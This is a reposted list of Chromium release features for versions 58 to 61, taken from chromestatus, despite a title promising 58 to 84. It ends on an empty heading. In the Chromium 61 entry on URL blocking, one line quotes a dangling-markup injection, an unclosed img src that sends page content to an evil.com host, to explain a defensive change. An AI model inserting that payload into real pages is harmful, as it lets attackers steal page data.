chromium 52 chrome 各个版本发布功能列表(58-84)

chromium Features 58-84

From https://chromestatus.com/features

chromium58 Features:41

  1. 'allow-top-navigation-by-user-activation' <iframe sandbox> keyword

Adds a new keyword named "allow-top-navigation-by-user-activation" for iframe sandbox, which requires a user activation (or gesture) being processed to trigger a top-level navigation. This change would enable more use cases of sandboxing untrusted third-party contents (eg., ads) by allowing top navigation while blocking malicious auto-redirecting, and thus help building a safer internet (eg., a safer ads ecosystem in which all ads could be sandboxed to prevent malicious auto-redirecting).

  1. <abbr> and <acronym> have underline by default

<abbr> and <acronym> should have dotted underline by default according to the HTML standard.

  1. Allowing autoplay unmuted in WebAPK manifest scope

In WebAPK mode, frames that are within the WebAPK manifest scope will be allowed to autoplay media unmuted.

  1. ClipboardEvent Constructor

This entry tracks exposing ClipboardEvent constructor.

  1. Create Workers from data: URLs

HTML specifies that data: URLs can be used to create workers with opaque origins. We should support this as a first step towards defining a sandboxing mechanism for Workers (and parity with other browsers).

  1. EME: Make navigator.requestMediaKeySystemAccess() spec compliant

Require that one of 'audioCapabilities' and 'videoCapabilities' be specified in the configuration passed to navigator.requestMediaKeySystemAccess(), and require that the contentType strings used as part of the entries to 'audioCapabilities' and 'videoCapabilities' include the desired codec as part of the MIME type. This item covers two bugs though only one is listed under the status section: https://crbug.com/605661, https://crbug.com/616233

  1. INPUT element: selectionDirection, selectionStart, and selectionEnd attribute getters should not throw

For input types which don't support text selection API, we have thrown InvalidStateError. The specification was changed so that null is returned in such case.

  1. IndexedDB 2.0

IndexedDB 2.0 introduces a few APIs that optimize some database access patterns and improve programming ergonomics. Chrome will support the full standard by shipping the following features:

support for binary keys, object store and index renaming, getKey() on IDBObjectStore, getPrimaryKey() on IDBIndex.

  1. Intervention: Offline Previews

When users are on slow connections, Chrome will show an offline copy of a page if there is an offline version of the page available on the user's device. Users will be shown a lite mode UI in the omnibox.

If Chrome determines the network has 2G speeds and there's an offline page stored, Chrome shows the offline page. Chrome's offline pages are based on MHTML snapshots. An intervention report is sent when this optimization occurs.

  1. Long Task API

A performance API to enable applications to detect presence of "long tasks" that monopolize the UI thread for extended periods of time and block other critical tasks from being executed - e.g. reacting to user input.

  1. Mouse on Android stops firing TouchEvents

A mouse on an Android M (or later) device:

(a) will no longer fire TouchEvents, and

(b) will fire a consistent sequence of MouseEvents with appropriate buttons & other properties.

Before this change, a low-level mouse events in Android reached blink as a touch event, hence fired a touch event then a compat mouse event if the touch event went uncanceled.

  1. Native media controls customization

We propose extending the "controls" attribute of the HTMLMediaElement so that the website could enable/disable certain media controls without having to implement all the controls on its own. A "controlsList" property will be added reflecting the current value of "controls" similar to the "class" and "classList" on HTMLElement.

  1. Pause autoplaying muted video by attribute when invisible (Android)

As a muted video with autoplay attribute only starts playing when it's becoming visible, it's reasonable to pause them when invisible to reduce power usage.

  1. PointerEvent.getCoalescedEvents

An API to return all the coalesced events of the received events in javascript. This API enables apps like drawing app to draw smoother curves using the precise history of points.

  1. RTCPeerConnection.getStats

This is a spec-compliant version of RTCPeerConnection.getStats returning a promise resolved with RTCStatsReport, a maplike containing RTCStats dictionaries.

Stats are being implemented according to the spec in a continuous effort for coverage to become good enough that the old getStats method can be deprecated.

The old getStats (taking a callback as argument) is very different from the spec and riddled with goog-prefixed things.

  1. RTCPeerConnection.setConfiguration

Implement setConfiguration according to WebRTC 1.0 and JSEP. This API allows an application to change the set of ICE servers, ICE candidate policy, and ICE candidate pool size without creating a new RTCPeerConnection.

  1. Selection API: addRange() ignores additional Ranges

In a case where document already has text selection and Selection.addRange() is called, Blink merges the Range and the existing text selection into one if they have overlap, and does nothing otherwise.

We'll change it so that Blink always ignore the Range. It matches to Edge.

  1. Selection API: getRangeAt() returns a Range registered by addRange()

Blink had a bug that getRangeAt() always returns a new Range with position normalization. It didn't match to Edge, Firefox, and Selection API specification.

  1. Selection API: removeRange() function

Selection interface should support removeRange() function to remove the specified Range.

  1. Selection API: setBaseAndExtent() throws IndexSizeError for too large offsets

setBaseAndExtent() silently clamped too large offset values. IndexSizeError should be thrown for such values to match to Firefox, Edge, and the specification.

  1. Selection API: setBaseAndExtent(), extend(), and collapse() throw InvalidNodeTypeError for DOCTYPE

These function silently normalized the specified position with DOCTYPE. However, they should throw InvalidNodeTypeError to match to Edge, Firefox, and the specification.

  1. Ship PointerEvent.tangentialPressure and PointerEvent.twist

Adding support of tangentialPressure and twist attributes in the pointer events API on Mac. They are supported by some stylus devices and are already used in numerous painting apps.

  1. Strict Secure Cookies

This adds restrictions on cookies marked with the 'Secure' attribute. Currently, Secure cookies cannot be accessed by insecure (e.g. HTTP) origins. However, insecure origins can still add Secure cookies, delete them, or indirectly evict them. This feature modifies the cookie jar so that insecure origins cannot in any way touch Secure cookies. This does leave a carve out for cookie eviction, which still may cause the deletion of Secure cookies, but only after all non-Secure cookies are evicted.

  1. Trailing comma in JavaScript function parameter lists

A small modification to JavaScript syntax allows trailing comma in formal parameter lists and in argument lists. For example, all the following become valid:

function f(a, b,) { return a + b }

let g = (a, b,) => a + b

f(1, 2,) + g(3, 4,)

This is expected to be available by default in Chrome 58.

  1. Unprefix CSS 'line-break' property

The CSS 'line-break' property specifies the strictness of line-breaking rules. The exact definition of the strictness depends on languages.

Our implementation relies on ICU (see doc link) which supports East Asian writing systems and Finnish.

  1. WebAudio: Add buffering/latency hint via latencyHint

Currently, WebAudio will use the lowest latency possible for the audio device for the best interactive behavior. However, for some use-cases such as media playback, this causes unnecessary power and/or CPU utilization.

The latencyHint is a hint from the developer that such a latency is not required. The latencyHint is either an AudioContextLatencyCategory value or a double specifying the desired numeric latency. This is a hint to Chrome.

  1. WebAudio: AudioBuffer constructor only takes one argument

Currently the AudioBuffer constructor takes two arguments: the context, and the AudioBufferOptions. The context argument is removed so that only AudioBufferOptions is required. In addition the sampleRate member of AudioBufferOptions is now required.

  1. XSS Auditor violation report MIME type.

The XSS Auditor's violation reports are now sent with a MIME type of application/xss-auditor-report (as opposed to application/json).

  1. color-gamut media query

Expose the approximate range of colors supported by the user agent and the output device in a CSS Media Query.

  1. display: flow-root

display: flow-root generates a block container box, and lays out its contents using flow layout. It always establishes a new block formatting context for its contents.

  1. CSS class name: Apple-interchange-newline, Apple-converted-space, Apple-paste-as-quotation, Apple-style-span, and Apple-tab-span

These non-standard CSS classes are used to differentiate the span elements added by Blink itself in editing.

  1. Remove "reset" and "document" as valid zoom values

There are two special values for the CSS zoom property that are inconsistently documented: "reset" and "document".

They set the element's zoom to 1.0 regardless of parent element zoom status and prevent page zoom from affecting the element's size.

We're removing them.

  1. Deprecate and Remove case-insensitive matching for usemap attribute

"Compatibility caseless" had been applied to usemap attribute matching. The specification was updated so that case-sensitive matching is applied. https://github.com/whatwg/html/commit/6acdb2122298d2bb7bb839c0a61b4e1f9b0f9bc9 A deprecation warning is printed to the console starting in Chrome 57.

  1. Deprecate and Remove: setting Event.cancelBubble to false

According to https://github.com/whatwg/dom/issues/211, setting cancelBubble to true is considered as an alias to stopPropagation(), and the spec indicates setting cancelBubble to false should do nothing.

  1. Legacy caller for HTMLEmbedElement and HTMLObjectElement

That an interface has a legacy caller means that an instance can be called as a function. This used to be the case for HTMLEmbedElement and HTMLObjectElement but is being removed. Calling will instead throw an exception. This was deprecated in Chrome 57.

  1. Remove EME from Unsecure Contexts

Per https://w3c.github.io/webappsec-secure-contexts/, we are deprecating and then removing EME from insecure contexts. EME is a powerful feature that exposes DRM implementations that involve access to persistent unique identifiers, are not open source, and/or run unsandboxed or with privileged access. The risks are increased when exposed via insecure HTTP, because they could be attacked by anyone on the channel. This was deprecated in Chrome 44.

  1. Remove pre-standard ChaCha20-Poly1305 ciphers

In 2013, Chrome 31 deployed new TLS cipher suites based on Prof. Dan Bernstein's ChaCha20 and Poly1305 algorithms. This was later standardized, with small tweaks, at the IETF as RFC 7539 and RFC 7905. We shipped the standardized variant early in 2016 with Chrome 49. We are now removing the pre-standard variants.

  1. Support for commonName matching in Certificates

RFC 2818 describes two methods to match a domain name against a certificate - using the available names within the subjectAlternativeName extension, or, in the absence of a SAN extension, falling back to the commonName.

The fallback to the commonName was deprecated in RFC 2818 (published in 2000), but support still remains in a number of TLS clients, often incorrectly.

  1. VTTRegion-related bits of TextTrack

The interface elements regions, addRegion() and removeRegion() have been removed from the WebVTT spec and will be removed from Chrome. The VTTCue.region property was added and the VTTRegion interface was updated to match a late version of the specification.

  1. WebAudio: Remove AudioSourceNode interface

Remove the AudioSourceNode interface. This interface is not part of the WebAudio specification, is not constructible, and has no attributes so it basically has no user-accessible functionality.

  1. webkitdropzone global attribute

The dropzone global attribute was introduced by the HTML5 drag and drop specification as a declarative method for specifying an HTML element's willingness to be the target of a drag-and-drop operation, the content types that can be dropped onto the element, and the drag-and-drop operation (copy/move/link).

No browser has implemented the unprefixed version. Blink and WebKit implement a prefixed form of the attribute, webkitdropzone. We would like to remove the prefixed attribute.

chromium59 Features:33

  1. Animated PNG

Support for animated PNG images

  1. CSP hash expressions can match external scripts.

CSP3 allows hash expressions to match external scripts, by relying on SRI as underlying infrastructure. That is, given Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba', <script integrity="sha256-abc123" ...></script> will be allowed.

  1. CSP3: The 'worker-src' directive

The 'worker-src' directive restricts the URLs which may be loaded as a Worker, SharedWorker, or ServiceWorker. It falls back to 'child-src' (which, in turn, falls back to 'default-src').

04 .CSP: report-sample property in violation reports

The report-sample property attempts to reach consensus on an opt-in variant Firefox's behavior. In short, we'll collect a 40-character sample for inline script and style violations, and include it in the violation report (and associated SecurityPolicyViolationEvent object) iff a 'report-sample' expression is present in the violated directive.

  1. CSS Box Alignment shorthands

Shorthand properties to control the alignment behavior along block and inline axes in a single declaration.

  1. DIALOG element has display:block style by default

The default display style of a DIALOG element is changed from inline to block.

  1. DeviceOrientationEvent and DeviceMotionEvent constructors

The DeviceOrientationEvent and DeviceMotionEvent constructors are defined by the DeviceOrientation Event Specification but were not were not implemented in Chrome. Firefox has already shipped these constructors as specified.

  1. Fetch API: Request#url includes the URL fragment

Request#url now includes the URL fragment, as per the spec. Before Chrome 59, the fragment was stripped out.

This means service workers can see the URL fragment in the 'fetch' event handler.

  1. Headless mode

Headless mode allows running Chromium in a headless/server environment. Expected use cases include loading web pages, extracting metadata (e.g., the DOM) and generating bitmaps from page contents -- using all the modern web platform features provided by Chromium and Blink.

To use headless, start Chrome with a command line flag:

$ chrome --headless --remote-debugging-port=9222 https://chromium.org

  1. MediaError.message

The MediaError.message DOMString field provides, if available, any additional vendor-specific error message detail to assist web authors debugging media player errors. The format and content of the string is left to vendors, though it's commonly in the form of a vendor-specific error code followed optionally by a ":" and further detail about the error. It is populated at the time of MediaError creation.

  1. MediaStream Image Capture

Enable taking pictures from an Image/Video Capture Device.

  1. Navigation preload for service workers

An API that enables the browser to send "preload" network requests for navigations before executing the fetch event handler in the service worker that intercepts the target URL. The worker has access to the preload response inside the fetch event handler. Common use cases would be to respond with the preload response directly, or use it to populate the response.

  1. Partial RTCRtpReceiver and RTCRtpContributingSource support

The parts of the RTC Media API (https://w3c.github.io/webrtc-pc/#rtp-media-api) that allow keeping track of contributing sources for receiving tracks. RTCPeerConnection extension: getReceivers(). RTCRtpSender support: track, getContributingSources(). RTCRtpContributingSource support: timestamp, source.

Feature for the rest of the API:

https://www.chromestatus.com/feature/5347809238712320

  1. Presentation API: Receiver API

This is implementing the receiving side of the API in order to allow a web page to be presented and interact with the presenting web page. This is also called 1-UA mode because that mode would allow the browser to render both presenting and receiving pages locally.

  1. RTCConfiguration.iceCandidatePoolSize

Normally, ICE candidates are only gathered after RTCPeerConnection.setLocalDescription is called, because this is the point at which the PeerConnection knows how many ports it needs. The iceCandidatePoolSize member of RTCConfiguration instructs the PeerConnection to gather ICE candidates before this occurs, as a performance optimization. Thus, if setting the local description is delayed (by signaling, for example), interactions with STUN/TURN servers can occur in parallel.

  1. RTCPeerConnection.onicegatheringstatechange

This feature adds the icegatheringstatechange event and the onicegatheringstatechange event handler to RTCPeerConnection.

  1. Referrer Policy Header for CSS

Add the ability for CSS stylesheets to specify their own referrer policy via the HTTP header.

  1. Response.redirected and a new security restriction
  • Add .redirected attribute to Response class of Fetch API. Web developers can check it to avoid untrustworthy responses.
  • To avoid the risk of open redirectors (https://cwe.mitre.org/data/definitions/601.html) introduce a new security restriction which disallows service workers to respond to requests with a redirect mode different from "follow".
  1. Screen.colorDepth and Screen.pixelDepth can return other value than 24

The Screen object is no longer required to return 24 for colorDepth and pixelDepth. It enables websites to have a better idea of the number of bits being used to display a color on the screen.

  1. Streams API: Piping

ReadableStream's pipeTo() is the standard way to compose readable and writable streams. It reads data from the ReadableStream and writes it to a WritableStream while respecting backpressure.

pipeThrough() is a simple wrapper around pipeTo() that provides elegant syntax for chaining multiple streams.

  1. Streams API: WritableStream

WritableStream is part of the Streams API for creating, composing, and consuming streams of data. It is the writable counterpart to ReadableStream, which is already shipping in Chrome. It provides a standard abstraction for writing streaming data to a sink, with built-in backpressure and queuing. This is expected to be on by default in Chrome 59.

  1. WebAudio: decodeAudioData detaches ArrayBuffer

According to the spec, decodeAudioData detaches the given ArrayBuffer before decoding. This means that the ArrayBuffer no longer has any contents and can't be reused or examined.

If it's important to keep the data, user ArrayBuffer.slice(0) to make a copy for decodeAudioData.

  1. rAF Aligned Touch Input

Align touchmove events so that they occur close to requestAnimationFrame() as possible.

  1. self.origin

self.origin returns the Unicode serialization of the origin of the settings object of the global represented by "self" (a Window or WorkerGlobalScope). This gives scripts a consistent way of getting their origin in both situations. Note that unlike location.origin this represents the actual origin of the global, not the origin of the URL it's loaded from. The difference can be substantial in the case of sandboxing, for example.

  1. Deprecate and Disable SDCH

SDCH is a shared dictionary compression mechanism developed by Google but not standardized. It's use in chrome is being discontinued.

Intent to deprecate thread: https://groups.google.com/a/chromium.org/forum/#!searchin/blink-dev/SDCH|sort:relevance/blink-dev/nQl0ORHy7sw/HNpR96sqAgAJ

  1. Deprecate SVGTests.requiredFeatures attribute

In SVG2, hasFeature always return true.

So requiredFeatures attribute not doing anything useful.

It has been removed from the spec:

https://github.com/w3c/svgwg/commit/9a30d01f6410dc516c5f874d71e957230a3448cd

This was deprecated in Chrome 54/Opera 41.

  1. Deprecate and remove -internal-media-controls-cast-button

-internal-media-controls-cast-button selector exposes Blink internal shadow DOM to the web content. Authors that want to have a custom cast button should use custom controls and implement a cast button with the Remote Playback API.

  1. Deprecate and remove -internal-media-controls-text-track-list*

-internal-media-controls-text-track-list* selectors expose Blink internal shadow DOM to the web content. Authors that want to have a custom text track picking interface should use custom controls.

  1. Drop support for embedded credentials in subresource requests.

We should block requests for subresources that contain embedded credentials (e.g. "http://ima_user:hunter2@example.com/yay.tiff"). Such resources would be handled as network errors.

  1. Drop support for subresources with legacy protocols.

We should block requests from HTTP/HTTPS documents that target "legacy" schemes (e.g. "ftp://my-awesome-ftp-server.com/yay.tiff"). That is, the ftp:// image referenced in https://jsbin.com/petonig/edit?html,output would not load, as the document itself is not served from ftp://.

  1. Remove "on-demand" value for hover/any-hover media queries.

Remove the support for "hover: on-demand" and "any-hover: on-demand" media queries. The "on-demand" value used to satisfy for the pointing devices that, for example, "can't normally hover, but will activate hover on a long press".

The "on-demand" value for hover/any-hover media queries has been removed from the spec in early 2016.

  1. Remove FileReaderSync from service workers

The Service Worker spec has always had the (non-normative) note that "any type of synchronous requests must not be initiated inside of a service worker", to avoid blocking the service worker (as blocking the service worker would block all network requests from controlled pages). However synchronous APIs such as FileReaderSync were still available in service workers. So we'd like to fix that by removing this API from service workers. This was deprecated in Chrome 57.

  1. Temporarily stop permission requests after 3 dismissals

Temporarily stop an origin from requesting a permission following the third dismissal of a permission prompt. The stop will be lifted after some amount of time has passed (initially 1 week), after which the origin may request the permission again. A further dismissal will apply the temporary stop again.

For web developers who are testing features, the block can also be removed by changing the permission's setting in the lock icon's page info dialog, or by clearing your browsing data.

chromium60 Features:43

  1. CSS line-height-step property

The CSS line-height-step property provides an ability to round the heights of line boxes to the multiple of the specified length. This property allows authors to control vertical rhythm.

  1. createElementNS() : Throw InvalidCharacterError instead of NamespaceError on validating a qualified name

createElementNS() should now throw only InvalidCharacterError, not NamespaceError.

Validating a qualified name should only throw InvalidCharacterError, not NamespaceError,

after:

https://github.com/whatwg/dom/issues/319

https://github.com/w3c/web-platform-tests/issues/5161

https://github.com/whatwg/dom/issues/423

Latest spec:

https://dom.spec.whatwg.org/#validate

  1. rAF Aligned Mouse Events

Align continuous mouse events (mousemove, mousewheel) so that they occur close to requestAnimationFrame() as possible.

Historical events can be accessed via getCoalescedEvents (see https://w3c.github.io/pointerevents/extension.html#extensions-to-the-pointerevent-interface)

  1. Android Payment Apps

Web payments is a W3C standard API for e-commerce websites to collect payment information from users with user consent. This feature lets users pay using native Android payment apps.

  1. CSS font-display

Adds the @font-face descriptor and a corresponding property for controlling how a downloadable font renders before it is fully loaded.

  1. CSS font-stretch

Add support the the CSS font-stretch property.

  1. CSS4 :focus-within pseudo-class

The :focus-within pseudo-class applies to elements for which the :focus pseudo class applies.

An element also matches :focus-within if one of its descendants in the flat tree (including non-element nodes, such as text nodes) matches the conditions for matching :focus.

  1. Client.type

The type read-only property of the Client interface indicates the type of client the service worker is controlling.

  1. Constructor for DataTransfer

The new asynchronous clipboard API makes use of DataTransfer objects and has a need to be able to construct new ones. For example (with new clipboard api):

var data = new DataTransfer();

data.items.add("(°o°)/", "text/plain");

navigator.clipboard.write(data).then(function() {

console.log("Copied to clipboard successfully! ᕕ( ᐛ )ᕗ");

}, function() {

console.error("Unable to write to clipboard. (╯ಠ_ಠ)╯︵ ┻━┻");

});

  1. Credential Management API - CredentialsContainer.create

This feature introduces the CredentialsContainer.create method to the Credential Management API. This method allows for asynchronous creation of Credential objects.

  1. Document constructor

Support new Document() to create a Document instance.

  1. Don't load tiny cross-origin plugin content

Remove tiny content exception for "Detect and run important plugin content" setting. This means that cross-origin plugin content that is 5x5 or smaller will not load under the default setting.

  1. Drop SiteBoundCredential concept in favor of a CredentialUserData mixin in CM API

This change drops the SiteBoundCredential interface in

favor of a CredentialUserData mixin. This change was introduced in the

Credential Manager API specification with commit

a43865bd8aa9842dbc8d8e688d5668c087677eac

(https://github.com/w3c/webappsec-credential-management/commit/a43865bd8aa9842dbc8d8e688d5668c087677eac).

  1. Expose passwords to JavaScript in Credential Management API

This change exposes passwords to JavaScript in the Credential Management API by providing the corresponding attribute on PasswordCredential. Furthermore it deprecates the previously existing PasswordCredential attributes and the custom fetch() credential infrastructure.

  1. Feature Policy

Allow site authors to selectively enable and disable use of various browser features and APIs.

  1. Fetch API: Request/Response.formData

Allows multipart/form-data and application/x-www-form-urlencoded fetch requests and responses to be consumed and parsed into FormData objects.

  1. First Paint Timing API

API to enable developers to measure time for First Paint (FP) & First Contentful Paint (FCP) -- the first key moments in loading that they care about. These moments are added as 'paint' entries in the Performance Timing API.

  1. InputEvent

InputEvent allows user input to be managed by script and help interactive with IME.

  1. New VP9 codec string and Profile 2 support

VP9 is an open and royalty-free video codec that has been supported in Chromium since 2013. This update adds a new string format for describing the encoding properties, such as the profile, level, etc. Such properties are common in video codecs but are not exposed in the current VP9 string format. In addition, this update includes using the new format to advertise support for VP9 Profile 2. The string format is accepted by media-related APIs

  1. Object rest/spread properties

This introduces rest properties for object destructuring assignment and spread properties for object literals.

  1. PaymentDetailsInitId

Add a free-form identifier for payment request. This will be set using PaymentDetailsInit and reflected through PaymentRequest and PaymentResponse and to payment apps. If no identifier is specified a unique identifier will be created.

  1. PaymentRequest.complete result "unknown"

Replace the PaymentRequest.complete enum value "" with the more descriptive "unknown".

  1. Push API: support for ietf-webpush-encryption-08

Chrome currently supports encrypted push message payloads encrypted with the aesgcm content encoding (draft 03). A series of substantial changes were made to the encryption drafts, yielding a new content coding: aes128gcm (draft 08). We'll continue to accept aesgcm for received push messages as well.

  1. PushManager.supportedContentEncodings

Static property containing the supported content encodings developers can use for encrypting push messages.

  1. PushSubscription.expirationTime

Property indicating the time at which, if any, the subscription won't be valid anymore. The user agent will attempt to fire a pushsubscriptionchange event with a new subscription before this happens.

Chrome will always return NULL, until we support subscription refreshes.

  1. Remove navigator.vibrate without user gesture

Calls to navigator.vibrate will immediately return 'false' if user hasn't tapped on the frame or any embedded frame yet. The Vibrate API is being abused by malicious sites. This extends what we do for cross-origin iframes to all frames including top-level page. See https://www.chromestatus.com/features/5682658461876224.

  1. Rename requireUserMediation to preventSilentAccess in Credential Management API

This change renames CredentialsContainer.requireUserMediation to CredentialsContainer.preventSilentAccess in the Credential Management API.

  1. Replace CredentialRequestOptions.unmediated flag with CredentialRequestOptions.mediation enum in Credential Management API

This feature introduces an CredentialMediationRequirement enum argument to the CredentialRequestOptions of CredentialsContainer.get() that is intended to replace the currently existing boolean flag CredentialRequestOptions.unmediated. The enum will have three states ("silent", "optional", "required") with "silent" and "optional" directly mapping to the existing boolean states, "required" is a novel option.

  1. Support VP9 in ISO-BMFF

VP9 is an open and royalty free video coding format.

ISO-BMFF (MP4) is an industry standard container and is broadly accepted and used in the industry.

Chrome already supports the VP9 codec (currently only in WebM container) and the ISO-BMFF container. This enables them to be used together.

  1. Support for collecting payer's name for PaymentRequest.

If the requestPayerName flag was set to true in the PaymentOptions passed to the PaymentRequest constructor, then UA should collect and return the payer's name as part of the payment request.

For example, this would be set to true to allow merchant to make a booking in the payer's name.

This option has been behind a flag on mobile since Chrome 55. On desktop, it's shipping in Chrome 60 with the rest of Payment Request API.

  1. Web payment manifests

For every payment method, there must be a corresponding JSON manifest file describing how that method participates in the web payments ecosystem.

  1. X-Frame-Options: SAMEORIGIN matches all ancestors.

Currently, XFO performs a same origin check only against the top-level frame in a document's ancestor chain. As lcamtuf notes in 1, "Any site that allows a rogue ad to be displayed in an IFRAME; or that frames third-party content for other reasons (e.g., iGoogle, Image Search results, Facebook gadgets), is effectively not protected)." We should check all ancestors instead.

  1. getElementsByTagName accepts qualified names

getElementsByTagName() used to accept only local names. The DOM specification was updated to accept qualified names.

  1. window.open() throws on an invalid URL parameter

Currently, we only log a message to the console. For consistency with other APIs, the WhatWG spec now requires that window.open throws a DOMException "SyntaxError" instead.

  1. Remove Headers.prototype.getAll()

Headers.prototype.getAll() is removed from the Fetch API specification.

  1. Remove IndexedDB: webkitGetDatabaseNames

The API asynchronously returns a list of existing database names in an origin, which seemed sensible enough.

The design is flawed, in that the results may be obsolete as soon as they are returned, so it can really only be used for logging, not serious application logic. Not implemented in other browsers. https://github.com/w3c/IndexedDB/issues/31 tracks/links to previous discussion on flaws and possible alternatives.

  1. Remove WEBKIT_KEYFRAMES_RULE and WEBKIT_KEYFRAME_RULE

Remove non-standardize APIs from CSS Rule and Developer can use KEYFRAMES_RULE and KEYFRAME_RULE instead

  1. Remove document.createEvent('WebKitTransitionEvent')

Remove non-standard 'WebKitTransitionEvent' support of document.createEvent().

  1. Remove: Content initiated top frame navigations to data URLs

We intend to block web pages from loading data: URLs in the top frame using <A> tags, window.open, window.location and similar mechanisms.

Pseudo URLs such as data: are generally a source of confusion for users. Because of their unfamiliarity, these schemes are widely being used in spoofing and phishing attacks. Users browsing the web ideally should only ever end up on the two well known schemes (http and https).

Deprecated in M58

Removal in M60

  1. Remove: NodeFilter.prototype

Correctly implement window.NodeFilter. It should not have .prototype, and NodeIterator.filter and TreeWalker.filter should not wrap JavaScript objects.

  1. Remove: document.createEvent('WebKitAnimationEvent')

Remove non-standard 'WebKitAnimationEvent' support of document.createEvent().

  1. Budget API

This specification describes an API that can be used to retrieve the amount of budget an origin has available for resource consuming background operations, as well as the cost associated with doing such an operation.

  1. Require user gesture for beforeunload dialogs

The beforeunload dialog will only be shown if the frame attempting to display it has received a user gesture or user interaction (or if any embedded frame has received such a gesture). (There will be no change to the dispatch of the beforeunload event, just a change to whether the dialog is shown.)

chromium61 Features:32

  1. Blocking resources whose URLs contain both \n and < characters.

As discussed in https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ, some forms of dangling markup attacks rely upon injecting an unclosed attribute that sucks up portions of a page, and exfiltrates them to an external endpoint (e.g. <img src='https://evil.com/? eats the page until the next '). This is possible because the URL parser helpfully discards newline characters. It would be lovely if we could make the parser less helpful.

  1. CSP: Embedded Enforcement

CSP's Embedded enforcement defines a mechanism by which a web page can embed a nested browsing context if and only if it agrees to enforce a particular set of restrictions upon itself. We should prototype an implementation to see if it's something that solves real problems in a way we can ship.

  1. CSP: Hardened nonce content attribute.

We've seen some recent attacks on CSP which rely on the ability to exfiltrate nonce data via various mechanisms that can grab data from content attributes. CSS selectors are the best example.

To mitigate these attacks, we'll hide the attribute from these side-channels, and only expose the value to script.

  1. CSSOM View smooth scroll API

Adds an optional argument to existing scroll APIs that specifies whether scrolling should be smooth. Also adds a CSS property for this.

  1. Clear-Site-Data header

A 'Clear-Site-Data' HTTP header prompts the user agent to clear browsing data associated with the requesting website. The supported browsing data types are cookies, storage (i.e. "site data"), and cache.

This is a privacy and security enhancing feature. A sensitive website can trigger local data deletion after the user signs out. A website dealing with a persistent XSS attack can use this to 'reset' itself to a clean state.

  1. DOMTokenList replace()

Add the replace() function to DOMTokenList interface. We can use it like element.classList.replace('inactive', 'active').

  1. Expect-CT header

Expect-CT is an HTTP header that allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements, which prevents the use of misissued certificates for that site from going unnoticed. When a site enables the Expect-CT header, they are requesting that Chrome check that any certificate for that site appears in public CT logs.

  1. Geometry interfaces

This specification describes several geometry interfaces for the representation of points, rectangles, quadrilaterals and transformation matrices with the dimension of 3x2 and 4x4.

SVGPoint, SVGRect and SVGMatrix will be aliased to new interfaces. Their old methods will be maintained and some new methods are introduced.

In the near future, CSS transform will be updated so they can work directly with the new objects. This avoid parsing on the js side.

  1. HTMLIFrameElement.allowpaymentrequest

Returns a Boolean indicating whether the Payment Request API may be invoked on a cross-origin iframe.

  1. HTTP Client Hints: Device-Memory

Client header to expose the device Memory to web applications.

  1. Interoperable body/documentElement scroll behavior

Update Blink to match the CSSOM View spec's behavior around element scrolling APIs for documentElement and body, i.e.: scrollTop, scrollLeft, scrollWidth, scrollHeight and Document.scrollingElement

  1. Intervention: Passive Event Listener for type == "mousewheel" && target == window && function_name == "ssc_wheel"

The smoothscroll.js code is largely broken and is preventing us from shipping scroll top interop. With the scroll top interop behavior activated sites fail to scroll at all with the wheel event. This library was corrected a few years ago but the web continues to clone the broken version and we have been blocked in shipping this long implemented fix for interop.

Smooth scroll has been enabled in Chrome for a number of releases so using custom smooth scrolling is not necessary anymore.

  1. JavaScript modules: <script type=module>

JavaScript modules allow a program to be divided into multiple sequences of statements and declarations. Each module explicitly identifies declarations it uses that need to be provided by other modules and which of its declarations are available for use by other modules.

<script type=module> allows loading of JavaScript modules inside web pages.

  1. MediaStream Image Capture - getPhotoSettings() method

This chrome feature tracks adding the method getPhotoSettings() 1 to the currently landed ImageCapture object 2. It's a trivial follow up to the MediaStream Image Capture API shipped in 59 3.

1 https://w3c.github.io/mediacapture-image/#dom-imagecapture-getphotosettings

2 https://cs.chromium.org/chromium/src/third_party/WebKit/Source/modules/imagecapture/ImageCapture.idl?q=imagecapture.idl\&sq=package:chromium\&dr

3 https://www.chromestatus.com/features/4843864737185792

  1. MediaStreamTrack.getSettings()

Returns the current settings of a MediaStreamTrack, including information such as (for video) width, height or framerate.

  1. Network Information

The Network Information API enables web applications to access the underlying connection information of the device.

  1. PaymentRequest

An API that allows browsers to act as an intermediary between the three key parties in a financial transaction: the merchant (e.g. an online web store), the buyer (e.g. the user buying from the online web store), and the Payment Method (e.g. credit card). Information necessary to process and confirm a transaction is passed between the Payment Method and the merchant via the browser with the buyer confirming and authorizing as necessary across the flow.

  1. RTCCertificate.getFingerprints()

RTCCertificate is supposed to have a getFingerprints() method.

  1. Referrer policies 'same-origin', 'strict-origin', 'strict-origin-when-cross-origin'

The Referrer Policy specification includes three policy values that Chrome doesn't yet implement.

  • same-origin: Send full referrers same-origin, no referrers cross-origin.
  • strict-origin: Strip referrers to the origin, but strip them when downgrading from HTTPS to HTTP.
  • strict-origin-when-cross-origin: Send full referrers same-origin, and the origin when cross-origin, but strip referrers when downgrading from HTTPS to HTTP.
  1. Resource Timing & Navigation Timing: add nextHopProtocol property

nextHopProtocol has been in the spec for RT & NT but was not implemented in chrome yet.

It is now landed and will ship in M61

  1. Storage quota estimate() API

navigator.storage.estimate() - returns a Promise which resolves with {usage, quota} values in bytes.

  1. SyncManager interface exposed to all workers

Historically the SyncManager interface was only exposed to the window and service workers. This feature exposes the interface to all workers.

  1. URLSearchParams: sort() method

Sorts all name-value pairs stored in a URLSearchParams. Proposed at https://github.com/whatwg/url/issues/26 to improve cache hit rate easily.

  1. URLSearchParams: updated constructor

URLSearchParams' constructor has been changed in https://github.com/whatwg/url/pull/175. It is now possible to create a new URLSearchParams by passing it any object (e.g. new URLSearchParams({'foo': 'bar'})).

  1. Update colSpan max value to 1000

Update colSpan max value from 8190 to 1000 as per spec change.

https://html.spec.whatwg.org/#dom-tdth-colspan

https://html.spec.whatwg.org/#dom-col-span

https://html.spec.whatwg.org/#dom-colgroup-span

  1. WebUSB API

The web platform API to support programming USB devices.

  1. asm.js

Validate asm.js code and use type information to optimize the low-level subset of JavaScript.

  1. getAttributeNames() of Element interface

getAttributeNames() is a function to rerun a list of attribute names of an element.

  1. onwheel in GlobalEventHandlers

Previously we had onwheel attributes as part of the Element. Now we are moving them to GlobalEventHandlers to make them consistent with the other on'event' attributes.

  1. visualViewport API

Exposes information about the visual viewport to the page.

  1. Deprecate and remove Presentation API on insecure contexts

